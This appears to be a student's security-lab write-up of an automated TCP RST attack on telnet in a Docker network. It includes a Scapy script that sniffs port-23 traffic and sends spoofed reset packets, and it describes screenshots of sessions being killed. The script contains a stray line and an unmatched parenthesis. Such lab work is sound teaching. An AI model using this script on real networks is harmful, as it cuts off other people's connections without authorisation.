

My code auto.py for auto tcp RST:

```
#!/usr/bin/env python3
from scapy.all import *
INTERFACE = "br-700c4c8132fb" #correct docker interface (the bridge/br)
def rst(pkt):
    if IP not in pkt or TCP not in pkt: #ignore non-ip/tcp
        return
    ip = pkt[IP]
    tcp = pkt[TCP]
    rip = IP(src=ip.src, dst=ip.dst) #constructs ip header from sniffed values
    rtcp = TCP(
        sport=tcp.sport,
        dport=tcp.dport,
        flags="R",
        seq=tcp.seq #provides us with previous seq number to determine what is expected
    )
    next
    )
    send(rip/rtcp, verbose=0)
    print("reset")
sniff(
    iface=INTERFACE, #we set this earlier start sniff on this interface
    filter="tcp port 23", # filter telnet sniff
    prn=rst, #calls function
    store=False #prevents storage in memory
)
```

The screenshot displays a virtual machine environment with three main windows:

- Terminal Window:** Shows a telnet session where the user 'seed' attempts to connect to 10.9.0.5. The connection is repeatedly closed by the foreign host, and the user is prompted to try again. The terminal output includes:
9a117d64de09 login: seed
Password: Connection closed by foreign host.
root@abb007213384:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
9a117d64de09 login: Connection closed by foreign host.
root@abb007213384:/# telnet 10.9.0.5
Trying 10.9.0.5...
Connected to 10.9.0.5.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
9a117d64de09 login: Connection closed by foreign host.
root@abb007213384:/#
- File Explorer Window:** Shows a directory structure with folders like 'reset' and 'telnet'.
- Wireshark Window:** Captures traffic on interface br-700c4c8132fb. The filter is set to 'tcp port == 23'. The packet list shows a large number of TCP RST packets (Sequence number: 1095857304) sent to port 23. The packet details pane shows the selected packet's structure: Ethernet II, Internet Protocol Version 4, and Transmission Control Protocol (Source Port: 50990, Destination Port: 23, Seq: 1095857304, Len: 0).

Top left shows connection closing due to auto rst attack sending on top right, with bottom left showing massive amounts of rst packets sent on wireshark capture.

